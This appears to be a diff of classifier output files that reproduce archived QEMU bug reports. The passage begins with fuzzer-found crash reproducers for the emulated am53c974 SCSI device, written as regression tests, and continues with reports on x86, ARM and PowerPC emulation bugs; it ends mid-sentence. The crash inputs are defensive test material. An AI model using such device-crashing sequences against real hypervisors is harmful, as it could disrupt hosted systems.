++ * outl 0xc00b 0x0400 ++ * outl 0xc00b 0x0400 ++ * outl 0xc00b 0x0400 ++ * outl 0xc00b 0x0400 ++ * outl 0xc00b 0x0800 ++ * outl 0xc00b 0x0400 ++ * outl 0xc00b 0x0400 ++ * outl 0xc00b 0x0400 ++ * outl 0xc00b 0x0800 ++ * outl 0xc00b 0x0400 ++ * outl 0xc00b 0x0400 ++ * outl 0xc00b 0x0400 ++ * outl 0xc00b 0x4200 ++ * EOF ++ */ ++static void crash_d94dc29565(void) ++{ ++ QTestState *s = qtest_init( ++ "-display none -m 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 " ++ "-drive id=disk0,if=none,file=null-co://,format=raw -nodefaults"); ++ qtest_outl(s, 0xcf8, 0x80001010); ++ qtest_outl(s, 0xcfc, 0xc000); ++ qtest_outl(s, 0xcf8, 0x80001004); ++ qtest_outw(s, 0xcfc, 0x01); ++ qtest_outb(s, 0xc008, 0xa); ++ qtest_outw(s, 0xc00b, 0x4100); ++ qtest_outw(s, 0xc00b, 0x4100); ++ qtest_outw(s, 0xc00b, 0x1000); ++ qtest_outl(s, 0xc00b, 0x0800); ++ qtest_outl(s, 0xc00b, 0x0400); ++ qtest_outl(s, 0xc00b, 0x0400); ++ qtest_outl(s, 0xc00b, 0x0400); ++ qtest_outl(s, 0xc00b, 0x0400); ++ qtest_outl(s, 0xc00b, 0x0400); ++ qtest_outl(s, 0xc00b, 0x0400); ++ qtest_outl(s, 0xc00b, 0x0800); ++ qtest_outl(s, 0xc00b, 0x0400); ++ qtest_outl(s, 0xc00b, 0x0400); ++ qtest_outl(s, 0xc00b, 0x0400); ++ qtest_outl(s, 0xc00b, 0x0800); ++ qtest_outl(s, 0xc00b, 0x0400); ++ qtest_outl(s, 0xc00b, 0x0400); ++ qtest_outl(s, 0xc00b, 0x0400); ++ qtest_outl(s, 0xc00b, 0x4200); ++ qtest_quit(s); ++} ++/* ++ * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \ ++ * 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ ++ * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio ++ * outl 0xcf8 0x80001010 ++ * outl 0xcfc 0xc000 ++ * outl 0xcf8 0x80001004 ++ * outw 0xcfc 0x01 ++ * outw 0xc00b 0x4100 ++ * outl 0xc00b 0x0300 ++ * inl 0xc00b ++ * outl 0xc00b 0x0800 ++ * outl 0xc00b 0x0800 ++ * outl 0xc00b 0x0800 ++ * outl 0xc00b 0x0800 ++ * outl 0xc00b 0x0800 ++ * outl 0xc00b 0x0800 ++ * outl 0xc00b 0x0800 ++ * outl 0xc00b 0x0800 ++ * outl 0xc00b 0x0800 ++ * outl 0xc00b 0x0800 ++ * outl 0xc00b 0x0800 ++ * outl 0xc00b 0x0800 ++ * outl 0xc00b 0x0800 ++ * outl 0xc00b 0x0800 ++ * outl 0xc00b 0x00 ++ * outl 0xc00a 0x410000 ++ * EOF ++ */ ++static void crash_df5a21ccf3(void) ++{ ++ QTestState *s = qtest_init( ++ "-display none -m 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 " ++ "-drive id=disk0,if=none,file=null-co://,format=raw -nodefaults"); ++ qtest_outl(s, 0xcf8, 0x80001010); ++ qtest_outl(s, 0xcfc, 0xc000); ++ qtest_outl(s, 0xcf8, 0x80001004); ++ qtest_outw(s, 0xcfc, 0x01); ++ qtest_outw(s, 0xc00b, 0x4100); ++ qtest_outl(s, 0xc00b, 0x0300); ++ qtest_inl(s, 0xc00b); ++ qtest_outl(s, 0xc00b, 0x0800); ++ qtest_outl(s, 0xc00b, 0x0800); ++ qtest_outl(s, 0xc00b, 0x0800); ++ qtest_outl(s, 0xc00b, 0x0800); ++ qtest_outl(s, 0xc00b, 0x0800); ++ qtest_outl(s, 0xc00b, 0x0800); ++ qtest_outl(s, 0xc00b, 0x0800); ++ qtest_outl(s, 0xc00b, 0x0800); ++ qtest_outl(s, 0xc00b, 0x0800); ++ qtest_outl(s, 0xc00b, 0x0800); ++ qtest_outl(s, 0xc00b, 0x0800); ++ qtest_outl(s, 0xc00b, 0x0800); ++ qtest_outl(s, 0xc00b, 0x0800); ++ qtest_outl(s, 0xc00b, 0x0800); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00a, 0x410000); ++ qtest_quit(s); ++} + + static void test_cmdfifo_underflow_ok(void) + { +@@ -106,6 +1225,24 @@ int main(int argc, char **argv) + g_test_init(&argc, &argv, NULL); + + if (strcmp(arch, "i386") == 0) { ++ qtest_add_func("fuzz/crash_0900379669", crash_0900379669); ++ qtest_add_func("fuzz/crash_094661a91b", crash_094661a91b); ++ qtest_add_func("fuzz/crash_0fff2155cb", crash_0fff2155cb); ++ qtest_add_func("fuzz/crash_1548bd10e7", crash_1548bd10e7); ++ qtest_add_func("fuzz/crash_1afe349482", crash_1afe349482); ++ qtest_add_func("fuzz/crash_1b42581317", crash_1b42581317); ++ qtest_add_func("fuzz/crash_30e28cfa86", crash_30e28cfa86); ++ qtest_add_func("fuzz/crash_34093bfc7c", crash_34093bfc7c); ++ qtest_add_func("fuzz/crash_3a05434a1f", crash_3a05434a1f); ++ qtest_add_func("fuzz/crash_3ab5744bc3", crash_3ab5744bc3); ++ qtest_add_func("fuzz/crash_530ff2e211", crash_530ff2e211); ++ qtest_add_func("fuzz/crash_76ab101171", crash_76ab101171); ++ qtest_add_func("fuzz/crash_7f743a0082", crash_7f743a0082); ++ qtest_add_func("fuzz/crash_87744a2e67", crash_87744a2e67); ++ qtest_add_func("fuzz/crash_9f92a77bd6", crash_9f92a77bd6); ++ qtest_add_func("fuzz/crash_d94dc29565", crash_d94dc29565); ++ qtest_add_func("fuzz/crash_dd24c44f80", crash_dd24c44f80); ++ qtest_add_func("fuzz/crash_df5a21ccf3", crash_df5a21ccf3); + qtest_add_func("am53c974/test_cmdfifo_underflow_ok", + test_cmdfifo_underflow_ok); + qtest_add_func("am53c974/test_cmdfifo_overflow_ok", +-- +2.28.0 + + + +Thanks again Alex. I've just posted a v3 to the list which fixes your extra test cases, and also those contained within the uaf and hw-esp-oob attachments: + +https://lists.gnu.org/archive/html/qemu-devel/2021-04/msg00015.html + + +This is fixed now, thank you Mark. + +Patchset v4: +https://lists.gnu.org/archive/html/qemu-devel/2021-04/msg01000.html + +Upstream commits: +https://git.qemu.org/?p=qemu.git;a=commit;h=0db895361b8a82e1114372ff9f48 +https://git.qemu.org/?p=qemu.git;a=commit;h=e392255766071c8cac480da3a9ae +https://git.qemu.org/?p=qemu.git;a=commit;h=e5455b8c1c6170c788f3c0fd577c +https://git.qemu.org/?p=qemu.git;a=commit;h=c5fef9112b15c4b5494791cdf8bb +https://git.qemu.org/?p=qemu.git;a=commit;h=7b320a8e67a534925048cbabfa51 +https://git.qemu.org/?p=qemu.git;a=commit;h=99545751734035b76bd372c4e721 +https://git.qemu.org/?p=qemu.git;a=commit;h=fa7505c154d4d00ad89a747be2ed +https://git.qemu.org/?p=qemu.git;a=commit;h=fbc6510e3379fa8f8370bf71198f +https://git.qemu.org/?p=qemu.git;a=commit;h=0ebb5fd80589835153a0c2baa1b8 +https://git.qemu.org/?p=qemu.git;a=commit;h=324c8809897c8c53ad05c3a7147d +https://git.qemu.org/?p=qemu.git;a=commit;h=607206948cacda4a80be5b976dba + diff --git a/results/classifier/deepseek-1/output/assembly/1699867 b/results/classifier/deepseek-1/output/assembly/1699867 new file mode 100644 index 00000000..72fa26d8 --- /dev/null +++ b/results/classifier/deepseek-1/output/assembly/1699867 @@ -0,0 +1,30 @@ + +x86_64 qemu crashes at far call into long-mode + +I am experimenting with this OS https://github.com/phil-opp/blog_os and spotted a weird behavior with qemu. + +I am looking at code that does transition from 32bit mode to 64bit mode. Right now it does 'jmp $SELECTOR,64bitfunction'. https://github.com/phil-opp/blog_os/blob/557c6a58ea11e31685b9d014d307002d64df5c22/src/arch/x86_64/boot.asm#L32 + +This code works fine with qemu/kvm/vmware. + +To transition from 32 to 64 bit code it is possible to use 'call' operation. So I am trying to replace that code with 'call $SELECTOR,64bitfunction'. It works fine with kvm and wmware. But it fails with Qemu emulation. See the interrup debug log attached. qemu crashes at 10302c (far call mnemonic). + + + 103016: e8 18 00 00 00 callq 103033 <set_up_page_tables> + 10301b: e8 5c 00 00 00 callq 10307c <enable_paging> + 103020: e8 ec 00 00 00 callq 103111 <set_up_SSE> + 103025: 0f 01 15 28 00 10 00 lgdt 0x100028(%rip) # 203054 <GCC_except_table2+0xdb5f8> + 10302c: 9a (bad) + 10302d: 40 31 10 rex xor %edx,(%rax) + 103030: 00 08 add %cl,(%rax) + + +As the code works at hardware I expect it to work with qemu. Thus current qemu behavior looks like a bug. + + + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/assembly/1880332 b/results/classifier/deepseek-1/output/assembly/1880332 new file mode 100644 index 00000000..cba2305e --- /dev/null +++ b/results/classifier/deepseek-1/output/assembly/1880332 @@ -0,0 +1,38 @@ + +Possible regression in QEMU 5.0.0 after CVE-2020-10702 (segmentation fault) + +I've come across a very specific situation, but I'm sure it could be replicated in other cases. + +In QEMU 5.0.0 when I use user emulation with a cURL binary for aarch64 and connect to a server using TLS 1.2 and ECDHE-ECDSA-CHACHA20-POLY1305 cypher a segmentation fault occurs. + +I attach a Dockerfile that reproduces this crash and the strace output with and without the de0b1bae6461f67243282555475f88b2384a1eb9 commit reverted. + + + +This is a compiler bug affecting (at least) libcrypto.so.1.1: + + 179d90: d503233f paciasp + 179d94: a9bb7bfd stp x29, x30, [sp, #-80]! +... + 17a400: d50323bf autiasp + 17a404: f84507fd ldr x29, [sp], #80 + 17a408: d65f03c0 ret + +The PAC happens with the initial sp: + + X30=0000005501de55fc SP=00000055018477a0 + +while the AUTH happens with the decremented sp: + + X30=0011005501de55fc SP=0000005501847750 + +Since the salt (sp) is different for the two operations, the +authorization should and does fail: + + X30=0020005501de55fc + +Note bit 53 is now set in x30, which is the error indication. + +The compiler must move the authiasp down below the ldr pop. + + diff --git a/results/classifier/deepseek-1/output/assembly/1904210 b/results/classifier/deepseek-1/output/assembly/1904210 new file mode 100644 index 00000000..7df0b37a --- /dev/null +++ b/results/classifier/deepseek-1/output/assembly/1904210 @@ -0,0 +1,72 @@ + +Crashed with 'uncaught target signal SIGILL' while program has registered by signal(SIGILL, handler) + +This binary is an CTF reverse challenge binary, it registers signal handler via 'signal(SIGILL, 0x1193D);' while 0x1193D is the SIGILL handler. + +Please see the attachment, the file 'repair' is the binary i mentioned above, the file 'qemu-arm' is an old version qemu at 2.5.0, and it seems an official release (not modified). + +Which means, it could be a bug in recent release. + +You need to input 'flag{' to the stdin to let the binary execute the illegal instruction at 0x10A68. + +In 2.5.0 version the -strace logs: +116 uname(0xf6ffed40) = 0 +116 brk(NULL) = 0x0009f000 +116 brk(0x0009fd00) = 0x0009fd00 +116 readlink("/proc/self/exe",0xf6ffde78,4096) = 21 +116 brk(0x000c0d00) = 0x000c0d00 +116 brk(0x000c1000) = 0x000c1000 +116 access("/etc/ld.so.nohwcap",F_OK) = -1 errno=2 (No such file or directory) +116 rt_sigaction(SIGILL,0xf6ffec48,0xf6ffecd4) = 0 +116 fstat64(1,0xf6ffe8e8) = 0 +116 ioctl(1,21505,-151000980,-151000924,652480,640808) = 0 +116 fstat64(0,0xf6ffe7d0) = 0 +116 ioctl(0,21505,-151001260,-151001204,652480,641152) = 0 +116 write(1,0xa5548,6)input: = 6 +116 read(0,0xa6550,4096)flag{ + = 6 +116 write(1,0xa5548,7)wrong! + = 7 +116 _llseek(0,4294967295,4294967295,0xf6ffee18,SEEK_CUR) = -1 errno=29 (Illegal seek) +116 exit_group(0) + +In 2.11.1, it shows: +113 uname(0xfffeed30) = 0 +113 brk(NULL) = 0x0009f000 +113 brk(0x0009fd00) = 0x0009fd00 +113 readlink("/proc/self/exe",0xfffede68,4096) = 21 +113 brk(0x000c0d00) = 0x000c0d00 +113 brk(0x000c1000) = 0x000c1000 +113 access("/etc/ld.so.nohwcap",F_OK) = -1 errno=2 (No such file or directory) +113 rt_sigaction(SIGILL,0xfffeec38,0xfffeecc4) = 0 +113 fstat64(1,0xfffee8d8) = 0 +113 ioctl(1,21505,-71588,-71532,652480,640808) = 0 +113 fstat64(0,0xfffee7c0) = 0 +113 ioctl(0,21505,-71868,-71812,652480,641152) = 0 +113 write(1,0xa5548,6)input: = 6 +113 read(0,0xa6550,4096)flag{ + = 6 +--- SIGILL {si_signo=SIGILL, si_code=2, si_addr=0x00010a68} --- +--- SIGILL {si_signo=SIGILL, si_code=2, si_addr=0x0001182c} --- +qemu: uncaught target signal 4 (Illegal instruction) - core dumped +Illegal instruction (core dumped) + + + +This binary doesn't execute on a real Arm CPU (it takes a SIGTRAP when it executes the first 'udf 1' insn), so I suspect it's never been tested on anything except QEMU and it happened to rely on incorrect older signal handling emulation in previous QEMU versions. + +As far as I can see the binary executes an illegal insn ("udf 1"), which causes a SIGILL on QEMU; execution continues inside the SIGILL handler and the binary then executes another "udf 1". Since the SIGILL signal is still blocked we can't invoke the handler again and so this time around it's fatal. + +If you still think QEMU has a bug in here, please provide more details of exactly what the guest program does and where QEMU diverges from real Arm Linux kernel behaviour. + + +This patch makes QEMU's linux-user emulation follow the real kernel's handling of "udf 1" (and the other magic-treat-like-breakpoint insns) and deliver a SIGTRAP: +https://<email address hidden>/ + +Your binary still won't run even with that patch, but it doesn't run on real hardware either, so I think that the remaining issues are bugs in your binary, not in QEMU. + + +Peter's patch had been included here: +https://gitlab.com/qemu-project/qemu/-/commit/acebed948c4f2f3be89 +... so I'm closing this issue now. If you still think that there is anything left to do here, please open a new ticket in our new bug tracker here: https://gitlab.com/qemu-project/qemu/-/issues + diff --git a/results/classifier/deepseek-1/output/assembly/1909823 b/results/classifier/deepseek-1/output/assembly/1909823 new file mode 100644 index 00000000..c0b4daa0 --- /dev/null +++ b/results/classifier/deepseek-1/output/assembly/1909823 @@ -0,0 +1,41 @@ + +RDPMC check on PCE is backwards + +At [this line](https://github.com/qemu/qemu/blob/75ee62ac606bfc9eb59310b9446df3434bf6e8c2/target/i386/tcg/misc_helper.c#L225) the check on CR4_PCE_MASK is backwards: it's raising an exception if the flag is set (and CPL != 0) rather than if the flag is clear. + +It's low priority at the moment because the instruction isn't implemented, so you get an illegal opcode exception when expecting a GPF, or vice versa, but it's a time bomb for if it is ever implemented. + +The Intel docs also indicate that CR0.PE influences the protection; I don't know if that's already reflected in env->hflags & HF_CPL_MASK. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +It looks like this was fixed in c45b426. + diff --git a/results/classifier/deepseek-1/output/available./1874264 b/results/classifier/deepseek-1/output/available./1874264 new file mode 100644 index 00000000..196d4a64 --- /dev/null +++ b/results/classifier/deepseek-1/output/available./1874264 @@ -0,0 +1,411 @@ + +AIX 7.2 TL4 SP1 cannot IPL with QEMU >2.11.2 ppc64-softmmu + +kens@LAPTOP-JN77KAC2$ qemu-system-ppc64 -version +QEMU emulator version 4.2.93 (v5.0.0-rc3-8-g3119154db0-dirty) +Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers + +qemu-system-ppc64 \ + -name "IBM AIX - IBM POWER9" \ + -M pseries \ + -cpu POWER9 \ + -smp 8 \ + -m 8192 \ + -nodefaults \ + -nographic \ + -prom-env input-device=/vdevice/vty@71000000 \ + -prom-env output-device=/vdevice/vty@71000000 \ + -serial tcp::9019,server,nowait \ + -monitor tcp::9020,server,nowait \ + -netdev type=user,id=mynet0,hostfwd=tcp:127.0.0.1:9018-10.0.2.18:22 \ + -device virtio-net-pci,netdev=mynet0 \ + -drive file=images/aix-ppc64.img,format=qcow2,if=none,id=hd,media=disk,cache=unsafe \ + -device virtio-scsi-pci,id=scsi -device scsi-hd,drive=hd \ + -drive file=images/iso/blank-cdrom,format=raw,media=cdrom,cache=unsafe + +------------------------------------------------------------------------------- + Welcome to AIX. + boot image timestamp: 14:18:40 03/27/2020 + processor count: 8; memory size: 8192MB; kernel size: 45422205 + boot device: /pci@800000020000000/scsi@1/disk@100000000000000 + AIX vm,uuid property contains invalid data +processing splpar characteristic: MaxEntCap +processing splpar characteristic: DesMem +processing splpar characteristic: DesProcs +processing splpar characteristic: MaxPlatProcs +processing splpar characteristic: HostThrs + +AKVM: hcall-multi-tce detected but overridden, allow with "multce" boot argument +------------------------------------------------------------------------------- + Starqemu-system-ppc64: OS terminated: 888 102 700 C20 + + +qemu-system-ppc64 \ + -name "IBM AIX - IBM POWER8" \ + -M pseries \ + -cpu POWER8 \ + -smp 8 \ + -m 8192 \ + -nodefaults \ + -nographic \ + -prom-env input-device=/vdevice/vty@71000000 \ + -prom-env output-device=/vdevice/vty@71000000 \ + -serial tcp::9019,server,nowait \ + -monitor tcp::9020,server,nowait \ + -netdev type=user,id=mynet0,hostfwd=tcp:127.0.0.1:9018-10.0.2.18:22 \ + -device virtio-net-pci,netdev=mynet0 \ + -drive file=images/aix-ppc64.img,format=qcow2,if=none,id=hd,media=disk,cache=unsafe \ + -device virtio-scsi-pci,id=scsi -device scsi-hd,drive=hd \ + -drive file=images/iso/blank-cdrom,format=raw,media=cdrom,cache=unsafe + +------------------------------------------------------------------------------- + Welcome to AIX. + boot image timestamp: 14:18:40 03/27/2020 + processor count: 8; memory size: 8192MB; kernel size: 45422205 + boot device: /pci@800000020000000/scsi@1/disk@100000000000000 + AIX vm,uuid property contains invalid data +processing splpar characteristic: MaxEntCap +processing splpar characteristic: DesMem +processing splpar characteristic: DesProcs +processing splpar characteristic: MaxPlatProcs +processing splpar characteristic: HostThrs + +AKVM: hcall-multi-tce detected but overridden, allow with "multce" boot argument +------------------------------------------------------------------------------- + Star** +ERROR:/home/kens/tmp/qemu/cpus.c:1727:qemu_tcg_cpu_thread_fn: assertion failed: (cpu->halted) + + +kens@LAPTOP-JN77KAC2$ qemu-system-ppc64 -version +QEMU emulator version 2.11.2 +Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers + +qemu-system-ppc64 \ + -name "IBM AIX - IBM POWER9" \ + -M pseries,cap-htm=off \ + -cpu POWER9 \ + -smp 8 \ + -m 8192 \ + -nodefaults \ + -nographic \ + -prom-env input-device=/vdevice/vty@71000000 \ + -prom-env output-device=/vdevice/vty@71000000 \ + -serial tcp::9019,server,nowait \ + -monitor tcp::9020,server,nowait \ + -netdev type=user,id=mynet0,hostfwd=tcp:127.0.0.1:9018-10.0.2.18:22 \ + -device virtio-net-pci,netdev=mynet0 \ + -drive file=images/aix-ppc64.img,format=qcow2,if=none,id=hd,media=disk,cache=unsafe \ + -device virtio-scsi-pci,id=scsi -device scsi-hd,drive=hd \ + -drive file=images/iso/blank-cdrom,format=raw,media=cdrom,cache=unsafe + +------------------------------------------------------------------------------- + Welcome to AIX. + boot image timestamp: 14:18:40 03/27/2020 + processor count: 8; memory size: 8192MB; kernel size: 45422205 + boot device: /pci@800000020000000/scsi@1/disk@100000000000000 + AIX vm,uuid property contains invalid data +processing splpar characteristic: MaxEntCap +processing splpar characteristic: DesMem +processing splpar characteristic: DesProcs +processing splpar characteristic: MaxPlatProcs + +AKVM: hcall-multi-tce detected but overridden, allow with "multce" boot argument +------------------------------------------------------------------------------- + Star +0539 +0811 +0539 +0812 +0708 +0811 +0811 +0811 +0811 +0811 +0811 +0811 +0811 +078c +25b6 +25b6 +25b6 +25b6 +25b6 +25b6 +25b6 +25b6 +25b6 +25b6 +25b6 +078c +0539 +2071 +0539 +2073 +0539 +25b3vscsi_send_capabilities: capabilities size mismatch ! +VSCSI: Unknown MAD type 09 + +0539 +0538 +0539 +0591 +0539 +0538 +0539 +0538 +0539 +25b0 +0539 + +0511 +0551 +0517 +0517 +0517 +0517 +0553 +0517 +0517 +0538 +0539 +0538 +0539 +270b +0539 +0538 +0539 +2070 +0539 +0538 +0539 +0811 +0539 +0811 +0539 +0812 +0708 +0811 +0811 +0811 +0811 +0811 +0811 +0811 +0811 +078c +25b6 +25b6 +25b6 +25b6 +25b6 +25b6 +25b6 +25b6 +25b6 +25b6 +25b6 +078c +04ee +078c +0727 +0727 +2071 +2072 +2072 +2071 +0539 +25b3 +0539 +25b5 +0539 +0538 +0539 +0538 +0539 +0538 +0539 +0538 +0539 +0538 +0581 +0539 +0538 +0539 +7000 +0539 +0538 +0539 +0538 +0539 +0538 +0581 +0581 +0539 +0538 +0539 +25b0 +0539 +0538 +0539 +0538 +0539 +0731 +0539 +0538 +0539 +0538 +0539 +0538 +0539 +0538 +0539 +0538 +0539 +0538 +0539 +0538 +0539 +0538 +0539 +0538 +0539 +0538 +0539 +0538 +0539 +0538 +0539 +0538 +0539 +0538 +0539 +0538 +0539 +0538 +0539 +0538 +0539 +0538 +0539 +0538 +0539 +2028 +0539 +0538 +0539 + +0c33 +Saving Base Customize Data to boot disk +Starting the sync daemon +Starting the error daemon + +System initialization completed. +TE=OFF +CHKEXEC=OFF +CHKSHLIB=OFF +CHKSCRIPT=OFF +CHKKERNEXT=OFF +STOP_UNTRUSTD=OFF +STOP_ON_CHKFAIL=OFF +LOCK_KERN_POLICIES=OFF +TSD_FILES_LOCK=OFF +TSD_LOCK=OFF +TEP=OFF +TLP=OFF +Successfully updated the Kernel Authorization Table. +Successfully updated the Kernel Role Table. +Successfully updated the Kernel Command Table. +Successfully updated the Kernel Device Table. +Successfully updated the Kernel Object Domain Table. +Successfully updated the Kernel Domains Table. +Successfully updated the Kernel RBAC log level. +Successfully updated the Kernel RBAC log level. +OPERATIONAL MODE Security Flags +ROOT : ENABLED +TRACEAUTH : DISABLED +System runtime mode is now OPERATIONAL MODE. +Setting tunable parameters...complete +Checking for srcmstr active...complete +Starting tcpip daemons: +0513-059 The sendmail Subsystem has been started. Subsystem PID is 4456846. +0513-059 The syslogd Subsystem has been started. Subsystem PID is 4522382. +0513-059 The portmap Subsystem has been started. Subsystem PID is 4194776. +0513-059 The inetd Subsystem has been started. Subsystem PID is 4129230. +0513-059 The snmpmibd Subsystem has been started. Subsystem PID is 4325672. +Finished starting tcpip daemons. + + +AIX Version 7 +Copyright IBM Corporation, 1982, 2019. +Console login: root +root's Password: + +******************************************************************************* +* * +* * +* Welcome to AIX Version 7.2! * +* * +* * +* Please see the README file in /usr/lpp/bos for information pertinent to * +* this release of the AIX Operating System. * +* * +* * +******************************************************************************* +Last login: Wed Apr 22 07:21:19 EDT 2020 on /dev/vty0 + +root@aix-ppc64# oslevel -s +7200-04-01-1939 +root@aix-ppc64# + +Did this ever work before? AFAIK AIX was never really running on QEMU... + +Hi, Thomas. Yes! Of course I had it working beautifully before, with only a minor issue executing a small number of XCOFF binaries, that is why I specified the QEMU version (2.11.2) AIX last worked with in the title of this bug. + +Check it out: + +kens@LAPTOP-JN77KAC2$ qemu-system-ppc64 -version +QEMU emulator version 2.11.2 +Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers + +kens@LAPTOP-JN77KAC2$ ssh -p9018 localhost +Last login: Thu May 6 10:06:55 EDT 2021 on ssh from 10.0.2.2 +******************************************************************************* +* * +* * +* Welcome to AIX Version 7.2! * +* * +* * +* Please see the README file in /usr/lpp/bos for information pertinent to * +* this release of the AIX Operating System. * +* * +* * +******************************************************************************* +kens@aix-ppc64$ lsattr -El sys0 -a modelname +modelname IBM pSeries (emulated by qemu) Machine name False + +kens@aix-ppc64$ lsattr -El proc0 +frequency 1000000000 Processor Speed False +smt_enabled false Processor SMT enabled False +smt_threads 1 Processor SMT threads False +state enable Processor state False +type PowerPC_POWER9 Processor type False + + + +Pretty cool, right? + +Something changed after 2.11.2 that broke something in the tcg cpu execution emulation. + +This is the error I get when I try to boot AIX in any QEMU version > 2.11.2: + +ERROR:/home/kens/tmp/qemu/cpus.c:1727:qemu_tcg_cpu_thread_fn: assertion failed: (cpu->halted) + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/269 + + diff --git a/results/classifier/deepseek-1/output/barriers./1908626 b/results/classifier/deepseek-1/output/barriers./1908626 new file mode 100644 index 00000000..5509336d --- /dev/null +++ b/results/classifier/deepseek-1/output/barriers./1908626 @@ -0,0 +1,163 @@ + +Atomic test-and-set instruction does not work on qemu-user + +I try to compile and run PostgreSQL/Greenplum database inside docker container/qemu-aarch64-static: +``` + host: CentOS7 x86_64 + container: centos:centos7.9.2009 --platform linux/arm64/v8 + qemu-user-static: https://github.com/multiarch/qemu-user-static/releases/ +``` + +However, GP/PG's spinlock always gets stuck and reports PANIC errors. It seems its spinlock +has something wrong. +``` +https://github.com/greenplum-db/gpdb/blob/master/src/include/storage/s_lock.h +https://github.com/greenplum-db/gpdb/blob/master/src/backend/storage/lmgr/s_lock.c +``` + +So I extract its spinlock implementation into one test C source file (see attachment file), +and get reprodcued: + +``` +$ gcc spinlock_qemu.c +$ ./a.out +C -- slock inited, lock value is: 0 +parent 139642, child 139645 +P -- slock lock before, lock value is: 0 +P -- slock locked, lock value is: 1 +P -- slock unlock after, lock value is: 0 +C -- slock lock before, lock value is: 1 +P -- slock lock before, lock value is: 1 +C -- slock locked, lock value is: 1 +C -- slock unlock after, lock value is: 0 +C -- slock lock before, lock value is: 1 +P -- slock locked, lock value is: 1 +P -- slock unlock after, lock value is: 0 +P -- slock lock before, lock value is: 1 +C -- slock locked, lock value is: 1 +C -- slock unlock after, lock value is: 0 +P -- slock locked, lock value is: 1 +C -- slock lock before, lock value is: 1 +P -- slock unlock after, lock value is: 0 +C -- slock locked, lock value is: 1 +P -- slock lock before, lock value is: 1 +C -- slock unlock after, lock value is: 0 +P -- slock locked, lock value is: 1 +C -- slock lock before, lock value is: 1 +P -- slock unlock after, lock value is: 0 +C -- slock locked, lock value is: 1 +P -- slock lock before, lock value is: 1 +C -- slock unlock after, lock value is: 0 +P -- slock locked, lock value is: 1 +C -- slock lock before, lock value is: 1 +P -- slock unlock after, lock value is: 0 +P -- slock lock before, lock value is: 1 +spin timeout, lock value is 1 (pid 139642) +spin timeout, lock value is 1 (pid 139645) +spin timeout, lock value is 1 (pid 139645) +spin timeout, lock value is 1 (pid 139642) +spin timeout, lock value is 1 (pid 139645) +spin timeout, lock value is 1 (pid 139642) +... +... +... +``` + +NOTE: this code always works on PHYSICAL ARM64 server. + + + +Interestingly, the spinlock test works after I change tas() implementation +FROM + __sync_lock_test_and_set(lock, 1); +TO + __sync_val_compare_and_swap(lock, 0, 1); + +## gcc (GCC) 8.3.1 20190311 (Red Hat 8.3.1-3) + +==== +__sync_lock_test_and_set(lock, 1) disassembly: + +``` +objdump -S a.out + +000000000040073c <tas>: + 40073c: d10043ff sub sp, sp, #0x10 + 400740: f90007e0 str x0, [sp, #8] + 400744: f94007e0 ldr x0, [sp, #8] + 400748: 52800021 mov w1, #0x1 // #1 + 40074c: 885f7c02 ldxr w2, [x0] + 400750: 88037c01 stxr w3, w1, [x0] + 400754: 35ffffc3 cbnz w3, 40074c <tas+0x10> + 400758: d5033bbf dmb ish + 40075c: 2a0203e0 mov w0, w2 + 400760: 910043ff add sp, sp, #0x10 + 400764: d65f03c0 ret +``` + +==== +__sync_val_compare_and_swap(lock, 0, 1); disassembly: + +``` +objdump -S a.out + +000000000040073c <tas>: + 40073c: d10043ff sub sp, sp, #0x10 + 400740: f90007e0 str x0, [sp, #8] + 400744: f94007e0 ldr x0, [sp, #8] + 400748: 52800021 mov w1, #0x1 // #1 + 40074c: 885f7c02 ldxr w2, [x0] + 400750: 35000062 cbnz w2, 40075c <tas+0x20> + 400754: 8803fc01 stlxr w3, w1, [x0] + 400758: 35ffffa3 cbnz w3, 40074c <tas+0x10> + 40075c: 7100005f cmp w2, #0x0 + 400760: d5033bbf dmb ish + 400764: 2a0203e0 mov w0, w2 + 400768: 910043ff add sp, sp, #0x10 + 40076c: d65f03c0 ret +``` + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed 